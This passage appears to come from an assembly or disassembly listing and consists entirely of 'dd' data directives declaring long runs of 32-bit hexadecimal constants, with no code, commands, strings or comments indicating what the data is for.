3D9846DCh, 496EF290h, 6A09DABh dd 18E08B90h, 0FF9B53E7h, 6FEBC8D1h, 7ACA2EE6h, 0D42ECE02h dd 0DEBB15Dh, 93B27995h, 0CB793A0Dh, 0A7B3DBE2h, 0BB28DCE3h dd 3C775241h, 5407FDBDh, 0AE9BCFDDh, 0B68219D1h, 0AD03AEF2h dd 0B2829873h, 6C6F5A69h, 7B5EB748h, 0C622B870h, 0C8EC3671h dd 8371E8C4h, 0B868A5B2h, 4C2D640Bh, 597EEC69h, 42A51D62h dd 97BB6CA9h, 0BE4ECD6Bh, 7D1F9634h, 85CD5749h, 519334FEh dd 0A277190Ch, 0A8DB9091h, 2EFE2AD2h, 0F4773931h, 9BFB9A19h dd 0A19E0597h, 0D10C7898h, 36824E2h, 0B50E108h, 0F34107AAh dd 4A8D4EBDh, 2F16E163h, 0DAEDE208h, 0D0D590FCh, 0E547AF4Fh dd 4223E4ECh, 0C5091CB3h, 0D8BDD015h, 93BF4FCh, 0D6119F6h dd 49D71953h, 0B2FB755Ch, 0C0390E60h, 3784D988h, 80312252h dd 94598A7Bh, 92CD4017h, 1EE33932h, 0E5536EF5h, 0C45EC176h dd 6777B02Ch, 7F664AF3h, 22BD3DC0h, 62469885h, 0E7EEBDF0h dd 142EC75h, 0A83C9CA0h, 0F016E25Bh, 7A26512Eh, 654663FDh dd 0C1C289CCh, 6D6FA8A0h, 84E9CF6Bh, 8ACAC711h, 84FAC38Eh dd 0A9C57505h, 8F4304B8h, 3BDE9FCAh, 2A0E5F11h, 65721C90h dd 0E0BF162Bh, 78E87C42h, 8F52A50Fh, 8D43744Bh, 642C6757h dd 0F00F6FCDh, 1D991EFAh, 0B6911BD3h, 8A69D2D5h, 7F0D57EFh dd 7ABA0B43h, 6384F390h, 0A43292Ah, 25A188C6h, 0FDBD8756h dd 0A854BC17h, 860C09D2h, 831A7F90h, 36AE7762h, 1F874D86h dd 421A8291h, 0C3662C3Bh, 59963C8Fh, 1DF6F4C6h, 989D4B4h dd 0BCBF6FE0h, 0ED3FDFE8h, 41970B2Ah, 0FA50FD15h, 4B811D2Ch dd 93AF352Ah, 9D3AEF3Fh, 0EFA43C93h, 3CC4FF2h, 3DF92634h dd 2651602Bh, 7E77D2F2h, 0F9D4F348h, 2243854Dh, 0D25DC5E1h dd 0F0CA6A1Eh, 694C7352h, 748836EBh, 6C8B2C11h, 7023CF93h dd 0D9565905h, 0D4C33C96h, 6AD01395h, 0F1D1E133h, 0CD67373h dd 2F8DF472h, 43871A05h, 0A7A4E98Ah, 232E3970h, 45D711C2h dd 0B0667F2Ah, 9B881669h, 0A3CF7964h, 63ECC506h, 7264F4ACh dd 0D9D2D2D9h, 0DF6FD9A7h, 0B5CC0291h, 0FD6D48C2h, 7E7FB3EBh dd 4AF4EBF3h, 213C4056h, 7497C044h, 29DDE151h, 0AFF1F6DDh dd 255E5726h, 0B60AAA42h, 0D39D281Ch, 91039167h, 0A60B84DEh dd 4EDC67F5h, 57B4F122h, 0A0FE4C3Ch, 0EF5C993Ah, 0EA84AB04h dd 72CDB48Ch, 0C4E63CE2h, 5C6AAF5Bh, 195D3683h, 4748071h dd 0F43EF243h, 0C8F182A3h, 0D34A6B59h, 8496A2DDh, 0B5E653D7h dd 0CEBD7BFDh, 8646C6D4h, 730F5296h, 4C8D650Eh, 0A8D63850h dd 2B3C5F60h, 7DECC10h, 0EA7FB553h, 0F710B2D2h, 8C175236h dd 9897461h, 6177555Ah, 0CF11E54h, 8CCEBE8Dh, 5DC198BBh dd 14D2610h, 6425F4F0h, 0ACFA9BBFh, 0B5862A79h, 0BDD47367h dd 8153739Eh, 0B7BB50E1h, 62855B75h, 0DE8D3B77h, 3BD675BFh dd 4C4D47E3h, 0BB377169h, 89522AA6h, 0B37ED56h, 0F0C03775h dd 32B80DDEh, 0F3530A11h, 9D0445D0h, 4389FEE4h, 16674EEAh dd 0A8CD0BFFh, 21A54E00h, 1FF945EEh, 6DA4268Fh, 6C4E276Dh dd 2C77CAFBh, 0E2B5C0h, 86B8DDF3h, 0F60A827Ch, 0F0A841B6h dd 529FA152h, 396F462Fh, 0A53A6F54h, 0EA619FA9h, 6BBE6E8Eh dd 953AE022h, 500B9027h, 0D76AEDABh, 25F6F223h, 0E8F8662Fh dd 91CE993Eh, 2FB47E7h, 92844859h, 9EC6AC5Ch, 7117BBACh dd 9960FCEEh, 9309A31Bh, 0CD0106FBh, 150F789Fh, 0F55428BDh dd 4820D432h, 23A3EE32h, 523FE430h, 0C18E6F89h, 2A7409Bh dd 6832C711h, 0C27C0146h, 0C1E54B3Fh, 5D279CC4h, 0DD8704ADh dd 2010B707h, 0CBD50A86h dd 0CD9BE60Ah, 0C1B1C99Dh, 98E0161Ah, 8998B46Bh, 0C7541A15h dd 0AE6A99A6h, 5EA05F56h, 0F7574459h, 5B8F1C23h, 24BAE995h dd 0AE148601h, 8CB2C3E8h, 23596491h, 0BDB5A363h, 182A65F8h dd 63297257h, 0AC1CBD95h, 91E2131Dh, 36A1360Eh, 0B48A9013h dd 9F85515h, 75FBB8B7h, 0D1FAA3D6h, 34B6588Dh, 6353F46h dd 56759CE3h, 786A55BFh, 8B0A1841h, 0DAF8618Ah, 76F8A92Bh dd 0B58BA099h, 8CB53B0Dh, 424A0B05h, 1D6EF685h, 0CF47BC9h dd 1587DBA1h, 24950507h, 311E2953h, 66E90CF0h, 0E8336C9Dh dd 0B0BBF591h, 9DBD44E8h, 0C1451474h, 2178915Eh, 298DF95Dh dd 75C39D4Eh, 325A0018h, 205812B7h, 93E7D8CFh, 8F3FE373h dd 7888D720h, 0BEBC6F66h, 0FC34C918h, 3EE530A3h, 81A371D2h dd 0ABC33A48h, 64944D20h, 4508E7DFh, 9139899Eh, 42FBE300h dd 0B37DDFA7h, 3871BD83h, 80609576h, 7748C824h, 9DCB9284h dd 0C845736Bh, 0B8AF8AD7h, 0DD69284h, 2E34B9D5h, 0FFE289B3h dd 4B6F1D2Ah, 7136DEEFh, 0A7A6DE26h, 961DEAC8h, 8C171E0Fh dd 0B211454Ah, 11101274h, 93FC7DCh, 758D46E4h, 48DA8143h dd 0F6D5DDF3h, 2EA180BDh, 0B460489Eh, 0F9144BDEh, 0C47A0338h dd 0EEA26295h, 0A6F6A401h, 12B49AABh, 8D30C78Fh, 6424F9A8h dd 188752C1h, 6B1AF414h, 0FEB44AE3h, 5FDBB97Eh, 0CE6BC269h dd 0A7A66FAh, 0EFC00AA5h, 828BA887h, 0E592F204h, 4CC3AC54h dd 0A90A4248h, 1B876530h, 0E139CC39h, 0C6BF7F58h, 0E14E63FEh dd 0CC6EBE0Ch, 0A90172C2h, 0BB2BC98Ch, 95617FA7h, 3EE5A12Ah dd 9B1C189Dh, 30DDB0C9h, 7B455587h, 0C7D1008h, 0CDFCDB0Ch dd 62D1D1D4h, 9D957B90h, 0F784A816h, 1A495214h, 0FED3517Bh dd 1EF475D2h, 0CCD57408h, 3A9AAF0h, 0C31FEA86h, 627D477Dh dd 90ADCA0Fh, 5C08D15Dh, 0FB6BC49Ah, 9E6228D6h, 0FEAD03CBh dd 82C1DF7Ah, 50333AA7h, 0DD592FD1h, 9CD79948h, 30064F68h dd 488D83D1h, 9FB2CF0Fh, 3AD51AC2h, 0F15A5910h, 93D31FE2h dd 4781EBB6h, 80BCCAF8h, 0BD0DB380h, 86CCE534h, 48DA61D9h dd 0C0739BE8h, 3DF36396h, 0DE2ECE0Eh, 0DE1AD557h, 0AEA2C040h dd 0A6721B63h, 0D2B75DF4h, 0A220A76Ah, 94223014h, 52A35178h dd 0F8CE289Eh, 0D24D62EFh, 0ADDFCA45h, 3D6C4FDDh, 11336CA6h dd 642A5997h, 0A7AF1F16h, 672CBC21h, 8CD835CEh, 39625F51h dd 8AA91CA9h, 76B283CAh, 888B322Fh, 8E1C139Fh, 0C2650E0Bh dd 0D27DAE0Ch, 8B9D54D1h, 0FF2AE7B0h, 0C86A9B1Eh, 7065C35h dd 4547B8ABh, 8DE7139Dh, 41768587h, 8DF9E5Dh, 0A3D66577h dd 854A2748h, 6B3DFB51h, 0F5160A8Ch, 20A30E75h, 13245D6Ch dd 6661E133h, 0AFDBCE4h, 77151CBCh, 0DD0BA5A1h, 0AEC3DB80h dd 1A792EC5h, 0F08A65BDh, 0C089389Ah, 57D946D5h, 823586EBh dd 5061B34Fh, 0A22035DCh, 5445F126h, 1A075A3Eh, 0ADD7DB3Dh dd 0F5EF7D45h, 9FF5F5B9h, 7E3C0C98h, 19235907h, 0F209E4D8h dd 46ABFC30h, 1FDC821Eh, 0F44D69E5h, 0BC764AE4h, 5DFCF2BCh dd 0DEE953h, 358AB6F5h, 0FF921E7Ah, 6C8BE8D7h, 8B059306h dd 85AC1718h, 0BC923F34h, 0D9B6976Dh, 0D795EC41h, 13644AE2h dd 745B6771h, 0D4B2A4FDh, 4D8D2356h, 0DF28F7DFh, 0D78C083Ch dd 2CDECB8Ah, 40837C45h, 198355A4h, 0D44C1F8h, 0C0408B0Eh dd 0FA031ED9h, 9920A6ECh, 65DE40D2h, 14A60B09h, 0A5DD8129h dd 44DAA3AEh, 7FE0BB18h, 6340E1D3h, 189ED624h, 9B7A275Ch dd 21510666h, 0C742BD14h, 0BDA41787h, 9FC96BFFh, 4B07D228h dd 1B797C8h, 8D772EBEh, 37FE5320h, 8CEA7232h, 31B3B4A7h dd 0D9F92DCh, 5E4812Ah, 7EB9EC5Bh, 45AED7E2h, 9E791BAFh dd 0EB159C8Fh, 791D506Ch, 0D6822B6Ch, 24E6075Ch, 2F825048h dd 727D62CFh, 7ECF557Ch, 5A54D357h, 0AFE6B820h, 722683EAh dd 1D637CBFh, 0F5D958Ch, 0E7B9F8A7h, 0AABF8D7Ch, 1717FA57h dd 7190360Bh, 4FF92A0Bh, 0A6ECF33Ch, 9B3BA94h, 30ADDC18h dd 92D2ADB9h, 3CE9D9EEh, 702F691Ch, 0C2731967h, 723FCAD9h dd 88A294F3h, 0C9289C26h, 99B547E3h, 0F6BDBB7Ch, 0BD1E9AE7h dd 2655579h, 9DB5CD6Ah, 0B52A8C89h, 0CB93E5BCh, 88D19DD3h dd 0FEE857C9h, 41844300h, 1FB14783h, 47BE992Eh, 0F59830D5h dd 136A6D65h, 79523B34h, 0E6DE3E26h, 69A6B4DFh, 7F47447Bh dd 11DFF20Bh, 0EDC8CCC1h, 8872ABA7h, 6BA8FCDFh, 0FB6C3958h dd 0B42C3261h, 0B9CFB2C7h, 0FE5E20A7h, 0DE031764h, 89F87249h dd 68725BF6h, 3B1FF59Fh, 13B85D94h, 7A472A7Ah, 96CC2B3Bh dd 73C16EB1h, 0A5B13BC7h, 0BCE06231h, 0DAD61219h, 532032C0h dd 803A6BDFh, 94E5F4FAh, 0DF734A0Bh, 0AAE313F3h, 6A175B3Ch dd 0CFDE3B83h, 0DA0B4701h, 72B821F6h, 6119CB2Dh, 0ECBF37A5h dd 801490F4h, 2D8718F8h, 5ADE8F72h, 6BA58C52h, 8FE9FE7Eh dd 0B3811901h, 72F9D0DFh, 0A3941A8Dh, 824A401Bh, 10AE2DEEh dd 8DA0B117h, 3FB00228h, 9D19CDCCh, 0F0F155DFh, 0ABE31F2Dh dd 44DD1F2Bh, 4C44B996h, 0A2F5E581h, 0F066A42Ch, 0E4E90DD1h dd 75878390h, 2A9BE9B5h, 6BF6CFEFh, 0A1B9F13Bh, 50F44871h dd 4366DBDEh, 1BFC00C1h, 670B2BEAh, 0A5D97029h, 0D4BC298h dd 2549A76Eh, 0D250F638h, 0A8666BE6h, 2AEDABCDh, 0AEC4AFA3h dd 0A8057B3Dh, 84E50333h, 30E47213h, 25DBBBD5h, 64993E4Eh dd 3A7F0BCBh, 0F02E4DC2h, 0DF624F59h, 0E0C8D8EFh, 0FAB669B1h dd 33C594F9h, 4988887Eh, 40EACC70h, 72F3C6B4h, 0F87AB629h dd 0E8A24968h, 1290389Ch, 0EB969854h, 607BFC66h, 0A9D76E08h dd 3F2F6C97h, 0CDC53853h, 6E6031F3h, 0FF787E04h, 0EBFEAFE5h dd 7722BA2Dh, 0ECB3DF34h, 8805C04Ch, 0FD80D926h, 433E7CD5h dd 4E7AD52Fh, 6B8BD080h, 3A892906h, 0BE3537DBh, 7E4EAA15h dd 87DE1916h, 8F50B4CBh, 29E0D58Dh, 78506D58h, 79AB8A92h dd 0D8E22CABh, 0B423CAC6h, 102EDDEEh, 0A5EAE24Eh, 41DD38CBh dd 66CEF79Eh, 44EA11B8h, 9DB64997h, 6A7CB9F7h, 7EB2A307h dd 3AB884AFh, 0E2D65748h, 0E4D69314h, 14D20C6Ah, 0BEEC3445h dd 0EDE3B99Eh, 2002BD15h, 4FFC67FAh, 0AAF2D8A5h, 0F4606A60h dd 0A0EB1476h, 25EEF9A0h, 66B218Fh, 9FD5E8A7h, 51FD8255h dd 0F03D8D5Ch, 0B7B6CFA1h, 9D70EFB6h, 2F885DEBh, 6FF4122Eh dd 0B104885Bh, 0EA2809D7h, 0C6A62A8Fh, 0B94913A1h, 888DA1C7h dd 8D988737h, 0F5F251D7h, 52B293EFh, 60DC7EB3h, 8EEAE48Bh dd 0FB1150EFh, 0A647DD82h, 0C8CFD82Eh, 6EF77320h, 3C00C623h dd 0D08D215Fh, 333BFD10h, 0BF2D6347h, 0D23A64ECh, 0B1CD3234h dd 0EECA6176h, 233DC1C5h, 2B5BC221h, 77952324h, 0B0CC26CCh dd 9A4E0182h, 2AD54613h, 77A2FBDh, 814126C5h, 10917D17h dd 79039873h, 1B879806h, 0EB02F957h, 22FD3285h, 1318B5D8h dd 0DB59FC6Ch, 19187C0Eh, 19BA088Fh, 40602F7Ah, 9F02E135h dd 36A102Eh, 22C4214Eh, 4F609FECh, 0AB4C396Eh, 0B9D88FDh dd 7620BA38h, 9C5A6EC4h, 3F0F2F6Ah, 5FF9E71Fh, 0C56C0311h dd 0CA7BF3F5h, 47085BAFh, 0C70B75E0h, 9FA88FFDh, 2457C1ABh dd 0B40B8040h, 0D103327Bh, 27EDB893h, 97D62140h, 8A00A017h dd 7828AA74h, 618713B4h, 79B4C65Fh, 0E5F81203h, 0D3E08835h dd 6A94E7E4h, 4E030B9Fh, 0BA6F8DB5h, 3FB1D65Ah, 0D34AF90h dd 0B6945659h, 3E0D2FECh, 0FEF1DEB1h, 62EB9F7h, 0F54A5E85h dd 13A6E8A2h, 0B95DED55h dd 82C1106Eh, 1DF39044h, 6FA1EDD4h, 0AA31A761h, 104C8C4Dh dd 715AF388h, 0A134308Bh, 0E9F422Eh, 8076D6Eh, 4DEF1F17h dd 4774DAD1h, 0C2603A09h, 4C63EF4Bh, 0DF967984h, 36D1A330h dd 0FBFFD8A8h, 4A79132Bh, 7E5C3D77h, 5DA35433h, 2D830FA3h dd 99ED1127h, 0DAE1B77Eh, 79741226h, 7FC9C84Eh, 0CBD0B4CEh dd 0F4A5EA0Fh, 0E5AEE6ACh, 5E934F47h, 1AAE970Dh, 3345C686h dd 733ABAB0h, 0E5271C95h, 77B22BA6h, 3D373DD2h, 0E256C0EBh dd 0D72F5024h, 0E9B2517Bh, 84684536h, 0F716D874h, 3FBDF900h dd 0CD6BE349h, 8E25D545h, 0E9C81E9Bh, 0BC811524h, 940A3CAAh dd 0A5B1F4A2h, 415B1CF2h, 0E3880F7Ah, 0A0B47F53h, 59B2CA4Eh dd 0ECF959C1h, 0B6CD5783h, 75E71AE3h, 0E35AE503h, 15436E6Fh dd 412C991Dh, 12363076h, 50FE71EBh, 807807B1h, 75A9F79Eh dd 0CC7BFE66h, 50670C5Bh, 0FE277E56h, 87A66BB4h, 202C9693h dd 1E7F870Fh, 0E20544BCh, 0ED75B69h, 0F1048182h, 0A5281F8Fh dd 0B90045FCh, 0BBCE928Ah, 8B749E13h, 0DC8C83D8h, 7031FECh dd 0E84765D5h, 6C9E581Ah, 8334ECEh, 4FBAD397h, 589B53B6h dd 0AA16AA8Dh, 0C0BED05Ah, 136BF3CCh, 2AED67FDh, 93C3F305h dd 85924434h, 0E2C0BD27h, 3702B84Ch, 0CE01EBB9h, 0F1907477h dd 0C73D937h, 78EF5A0Ch, 0DD56EC70h, 1E6E9AD2h, 0D81ACE35h dd 31AA8667h, 66058B1Dh, 2F446CC4h, 873E9CEDh, 27F1B084h dd 0A38D3A53h, 8088BA61h, 0D67B75C3h, 0C5572E3Dh, 0A45DE0ABh dd 0E65C81A7h, 0CE41C166h, 0A0E21615h, 0D070B2B5h, 73E0F2D9h dd 84FD80EEh, 50AE1DB4h, 8FE7069h, 48C4AE6Eh, 0A508B183h dd 0DFDABA48h, 8E77CBF3h, 0BD1E7032h, 0F3E1DBFAh, 65D3964h dd 2DFAC785h, 824D646Eh, 9FF7B8C9h, 572384D0h, 0FF1DB64Ah dd 0B17C1FB2h, 92D818B9h, 17715D11h, 7785245Ah, 0BCEF2AF2h dd 5FA0F0FAh, 0A148C886h, 26589B2Ah, 24366C62h, 1130CAA8h dd 4F8B2EA0h, 8BBA7B51h, 0E478B557h, 0DED305AAh, 2F3EEC8Ah dd 0DFA8472Bh, 23431A8Ah, 17C233B4h, 6A47A063h, 0A4F1621Eh dd 68B8606Eh, 17E6A162h, 320B875Bh, 0E35C98CDh, 5E93A889h dd 43DC899Ch, 283A7F18h, 9CF78F4Ah, 0BC509385h, 0A9EEB78h dd 0A1E5D916h, 4DA3B84Fh, 0A3F70C7h, 0CA159402h, 3BD9A2C8h dd 0DF1C5F9Bh, 7F91FC50h, 9E861DE1h, 0F29E9A20h, 7000BA2Bh dd 0BA4432Ch, 0DA27E227h, 0F71961C4h, 0A42ADDCDh, 3020AD8Bh dd 8B26E55Bh, 0A0B7F810h, 2C22A9C6h, 0AF2AEFB0h, 0E1FBB455h dd 87CEACCAh, 0BBC8999Eh, 30F3B0B2h, 1D06F222h, 0DA5EDCA9h dd 0AB6966C3h, 32EC2A17h, 733BEC04h, 4CEDF1D5h, 0AB319B2Fh dd 2C7308D6h, 7F8C0897h, 149C5515h, 0B46F13D5h, 3CD45246h dd 0E2E22BF8h, 0A734E6E7h, 58302FEh, 68CE41B9h, 2A8B183h dd 0B95D8C3Ch, 84819D8h, 0E1278FF5h, 0B5AF48A2h, 27AD6F68h dd 0CDB8027Fh, 48DED80Bh, 6DE5D2A2h, 484EE77Fh, 337330F7h dd 766E9647h, 0D750A2D7h, 2FE0EF1Ah, 8369FACDh, 454D3C01h dd 2EAD7D29h, 0C22314A7h, 5D5B9C20h, 0FA8FEEE0h, 614E67FFh dd 2F5A20E7h, 9558239Dh, 0E62C840Eh, 9B37E758h, 0A6E832AAh dd 20C1831Ch, 123CD4Ch, 0E5EE42DDh, 0B3DA1F7Bh, 0CBF342C0h dd 0F016FE10h, 506A091Bh, 16C95FB4h, 96CBBF98h, 4CCE604h dd 0CED82F32h, 209CFA0Fh, 0BE381E4Eh, 1782EC8Eh, 0BE8AF8A0h dd 0AE3C054h, 5BE806Bh, 54F45FA1h, 5581B705h, 0BF00F0B9h dd 0E59B8D5Dh, 2A412393h, 0A53E07E2h, 0B9294990h, 4B8B9F8Ch dd 5364CEF5h, 77BC2DFBh, 0D0FAD221h, 0B429E044h, 80EB777Eh dd 97C94A13h, 84740ECh, 84E766D2h, 0B5971F69h, 0BCB7E6B0h dd 1A664E8Eh, 741BD54Ah, 654456A3h, 0FC9B3583h, 7B7F47BCh dd 0B3BCA59Fh, 65315DC3h, 36387DDBh, 0CCC5ADACh, 496F64Bh dd 0D8E6C59Eh, 0CD3FE391h, 0F719A4C2h, 0D3E74797h, 94DE3CACh dd 6174F118h, 9A3CD93Dh, 976CAF58h, 4838469Dh, 24B8C068h dd 921AB87Eh, 658F4CE1h, 0A4EBB324h, 7DF1067Ah, 23C0DDB6h dd 784509BCh, 0C279AD5Dh, 0C326CFC7h, 660E69B9h, 63D70884h dd 218A6BD2h, 416D29AEh, 5C8FC284h, 637AD2F6h, 0C05BA96Bh dd 0B5ABC645h, 807BE7B5h, 0E7931879h, 0AE5CDA0Fh, 1F8E1562h dd 17E7220Dh, 0E79256FFh, 0E5FAFB27h, 6A7BC637h, 0B2565685h dd 0A3C345ACh, 0CB86294Ah, 0D33B17F9h, 74F6BBFFh, 3F9669BBh dd 0BAAD353h, 0EC63BDCDh, 27F1EBCCh, 0A7B92986h, 0EDB212h dd 25D13291h, 0B5363548h, 0EBDDD774h, 0AD5D8581h, 0B40D6E91h dd 70038A4Ch, 26BE36FAh, 494F7BFh, 505C4A1h, 7DCD781h dd 4658260Ch, 67AF54Ch, 40422A84h, 8541B4EBh, 0FFC28F24h dd 0A1FC2288h, 0CB455C9Eh, 99819649h, 0A28DCF9Ah, 0F622B087h dd 529147A6h, 20488B78h, 757D156Fh, 0E635C9F0h, 5B356F09h dd 0D731708Dh, 638C3AFBh, 0F00DF5DCh, 2A75D870h, 8CED13A0h dd 0D37799E7h, 0A953FE10h, 364556B1h, 16B5A919h, 0A63A8358h dd 0B6C07C34h, 0D910E107h, 72A413E5h, 859FF3B7h, 8709FF57h dd 1F1DB97Bh, 1CA7FD41h, 6FBC98C2h, 30B19ABFh, 717ECC54h dd 149EDF89h, 94996A3h, 0DCD611A5h, 5C1685AAh, 0E7508A76h dd 0A0B1706h, 713ED181h, 0D4C5F7FAh, 31758E41h, 8DDE6D8Fh dd 0E2DAE2BFh, 0AEF67Ah, 33F5187Dh, 0C86C14FAh, 0F66A5016h dd 9471ED9h, 0ED651F20h, 429F9A99h, 2EF0B6C7h, 66FAD882h dd 24FD3C84h, 99171A5Eh, 9524FF6h, 5800F1ABh, 0D17060DDh dd 0BD0C7ABEh, 4B5512A8h, 6A48278Ch, 740711EBh, 0DC88275Fh dd 0CBD70F62h, 74E4E14Ch, 219493FEh, 26E3B1A1h, 6657428h dd 1A9D452Ch, 0E88413D9h, 0A0882B7Bh, 0A1E9D06Bh, 0F7B870E0h dd 1A425F97h, 7BAF0A6Ch, 0D55D355Bh, 0D2369852h, 0AE64E4BDh dd 388F7E01h, 0A143FBA7h, 831E1BE2h, 0EB63888h, 0FDA3001Dh dd 2606BF37h, 80C28C16h, 9640119h, 0ED07AE19h, 0ED0A1557h dd 978E704Dh, 0A298C4B6h, 0C08093FCh, 0B47BC446h, 3B12F61Ah dd 0E7F21977h, 708FC253h, 8DB9203Bh, 0E1BC960Fh, 91000B31h dd 7FD19820h, 406DFD83h, 0B0D5FE8h, 5CEC3D90h, 20EE481Ch dd 0E1ED582Dh, 0D071D6D6h, 58F941F3h, 0C3C7BF53h, 0AC1AEB3Eh dd 0AB1B6E9Ch, 0AA2F1F80h, 5AC80E60h, 0C9A6DAB8h, 0F0135548h dd 0B23CD748h, 9212513Dh, 5822EB23h, 0B845297Fh, 91F2B53Ah dd 6C8D3C37h, 808301E4h, 0AF9AC8B6h, 0E9004B5Dh, 6786C35Dh dd 0A0F0987Bh, 33A4A0F7h, 0DFB19E0Bh, 0B5F1F2B4h, 0B7F6DDB6h dd 0C7253F65h, 49E58809h, 5694CDB4h, 2E4657EBh, 40BB3D0Fh dd 62B95E38h, 46A5A475h, 626BFDDFh, 4BCFB49Eh, 96F9D747h dd 480FC86Fh, 1F5EC27Bh, 55BB379Eh, 3E7FABAAh, 9C989758h dd 0BEC4DAE7h, 0EA9CFF18h, 0AFDD67C3h, 0A1DB7E93h, 8DF72B7Dh dd 0E8E08496h, 0E5555FB1h, 0C778328Fh, 90EE3991h, 34CCFEE6h dd 0C300F469h, 0E46C6F08h, 0D9022289h, 39696E55h, 0E8494644h dd 2BE242C3h, 14CA43BAh, 0B3F03442h, 0B91C6009h, 3C430F60h dd 8AE11E8Dh, 0A4A2D9CAh, 4A99856Dh, 0E612044Ah, 24D9A693h dd 0AE031C49h, 5F9D67E8h, 2B9DE823h, 0D5D1D521h, 0AC9A0276h dd 8FA535B2h, 4F4D7A9Ch, 0AA599BB1h, 823FDB27h, 903DA65Ah dd 5BB0B8C6h, 19AE5045h, 25C7468Fh, 24885C61h, 7AFB2CB8h dd 4CF6EF98h, 0C97E4562h, 4DF9108Bh, 0D76FFA4Eh, 0E8312F5Fh dd 0E6FF8C49h, 0ACA16FE3h dd 0FEB5E54Dh, 6C429E17h, 0E5822F2Bh, 400874F4h, 0E822B691h dd 122947EFh, 0E829D1Eh, 0B3D46DE7h, 0CB714555h, 0C2B5D935h dd 2B6D91B1h, 0C26AA285h, 32A69AE3h, 511E33E3h, 0A9D67527h dd 0E7C39AC0h, 4698B072h, 2F5AAE0Ah, 1B944498h, 2CB8EE88h dd 68BACF67h, 0D843C020h, 6B999177h, 0D261141Fh, 0ACA657C7h dd 0D34689Dh, 71826F16h, 2AABD9DFh, 949636A2h, 373465E7h dd 0D3042EF3h, 0D4D301F9h, 0B6C0C9F6h, 4219C8E7h, 4709B17Ch dd 1CB3C7B0h, 4204DCE8h, 0FCAA60Dh, 50D5C0D5h, 0BE2C4AF3h dd 0B7E07A89h, 84DBFB9Fh, 0E002D335h, 0E2ABAB23h, 0CEAA45B8h dd 7D9867BAh, 473B5E6Eh, 680A91F1h, 0C6844067h, 0CA532CBh dd 0B718391Eh, 656D1EB4h, 165F37CDh, 0FE942F72h, 9257A030h dd 3C64E6C9h, 729FCFFEh, 33965ED1h, 84F45F50h, 783E7FF8h dd 6A596760h, 30E89A63h, 9D3D6F12h, 0DC0BC7CDh, 0A62D953Ah dd 3F57E721h, 52685CECh, 97A285BCh, 4BBE5C79h, 0FF6B2B44h dd 0A013508Ah, 80C3FC64h, 0E6C24385h, 5B95DC02h, 0D418435Bh dd 33DB33F6h, 0A8A24196h, 0FC2AEB9h, 0CD4C0157h, 0AA6C524Eh dd 2B1D902Eh, 0C406BAD4h, 7BD39B15h, 28DAB2BAh, 5CFF45E4h dd 0AD36F0FFh, 8E8F07B6h, 0FBE48B62h, 0F29F607Dh, 24D563F2h dd 98721D28h, 28FC11CAh, 0B22E4322h, 3A08E77Ah, 90B01D33h dd 950AE1B5h, 77DAA4DFh, 17E62DEh, 5CD9718Ch, 715FA72Bh dd 82E0AE40h, 0A0A39F64h, 0D6217E4Fh, 0FA126C2Ah, 13DE8B2Dh dd 6DAC71DBh, 19F01230h, 0AFAA94D9h, 0F3D29589h, 1FE29BDFh dd 433D97A1h, 613EE10Ah, 2A00A661h, 9B94A797h, 0E6E5DCACh dd 0A879BA9Ch, 1522299Dh, 0CD855E41h, 17BB4E0Eh, 0DD561FC0h dd 4C3FF79Ch, 3DB8E73Dh, 0DF198AADh, 81123E94h, 35E92FAEh dd 8CEF1667h, 3376FE69h, 0D07D23Eh, 1417CAFCh, 866AD99Fh dd 151431C9h, 0C06C13F2h, 1EF18BD8h, 68224849h, 6E6EE787h dd 3C42FEE9h, 9E8891ADh, 0F0661CEAh, 73C89745h, 0F342CAE1h dd 0D88D2CB4h, 18B7BD99h, 1822143Fh, 9D027085h, 76CB8D7Bh dd 696D0AEEh, 8F79B3F8h, 99A56E15h, 0C869D0B5h, 62B43617h dd 2D57B50Bh, 0AFC4796Bh, 0CD319830h, 59BE143Fh, 0F3D2ADD4h dd 2DC2D51Eh, 0FE92519Ch, 3B859C31h, 0D478DBF2h, 0A0838D7Eh dd 0AEF5CB14h, 829CA333h, 0F3AE0B4Fh, 18904141h, 0BD6B75ABh dd 9BD4A8CFh, 5DD4D318h, 0E65A442Fh, 1E7FE8E7h, 0E7A8CC43h dd 0CAFE67DBh, 0AE25840h, 0F838F740h, 10B7BC85h, 46685B53h dd 40C46B6Fh, 0F20F2DAh, 507FA53Dh, 2803C63Ch, 0CDB68D9h dd 631F117Eh, 9370C5DBh, 895A47ADh, 8D67B3A3h, 52EE003Bh dd 56BFBD1Ch, 6DB26BEh, 544D9E9Fh, 0D641A57Bh, 5A973FFh dd 53A3996h, 44B5B675h, 4624239h, 0D33D48E1h, 0B05519B0h dd 0C9693271h, 342823C2h, 1BAF2291h, 89DF38BDh, 807CACE4h dd 0FB98A14Eh, 0A093FCD3h, 0F7E8829Eh, 0E53643E0h, 50705CBFh dd 0AC115E8Bh, 0B79CE6A2h, 419231DCh, 0E27340E0h, 0E364F99Dh dd 0C9BBA8C9h, 0DF572CFAh, 0E472589Dh, 630723E9h, 6545D94Bh dd 250DAEBAh, 4CF1087h, 51F54C3Fh, 0D680FEADh, 0E92F5CD8h dd 0ADCE4BD0h, 0F96BB7C7h, 37964B7Bh, 0A8F87170h, 0E9342066h dd 0AF2A9A87h, 45F94B87h, 3917FC4Eh, 3B94F4D3h, 0D2C42F27h dd 7E311BD4h, 9BA46317h, 9E6BC5FDh, 423A8B0h, 7C65AFE5h dd 5F6CDA87h, 71454058h, 21402552h, 9EE16A2Dh, 2C28C3F5h dd 0BBE27A48h, 36CF0084h, 0D943D10Bh, 8F6C0B08h, 75AF52EBh dd 797E94E1h, 3583D579h, 90DD1F0Fh, 40306164h, 62880ED1h dd 0DC38FA45h, 0C37444EAh, 1B3CB409h, 1436D459h, 0A577D680h dd 189633A9h, 0B87A7384h, 1CACD415h, 938573B0h, 2EB8886Ch dd 0C505CD6Bh, 0D362E33h, 2444CDFEh, 12B9D055h, 0F6E8E72Ah dd 0BDF19E5Dh, 1BB6A762h, 952B1D80h, 76B2DC1Bh, 0CE50F5CCh dd 3185874Eh, 2C5CDEFEh, 0EA1E1137h, 32F65099h, 0E7207C82h dd 90ABF3A5h, 0DF3EB330h, 1277954Ch, 0A23B0B18h, 0BFF0A884h dd 6EB97926h, 0E08D68A0h, 0BF88DAh, 2BF6EB0Dh, 35A1B108h dd 964737DDh, 943FB2D7h, 687A9A10h, 4D38052Ah, 9CE4AA45h dd 3391F708h, 9E86A52Fh, 0C087E726h, 4AD4291h, 0B3B4A5BBh dd 130718F6h, 0B92F5670h, 7FB263A2h, 0E6387B9Ch, 3AE3372Bh dd 0CB20DEB6h, 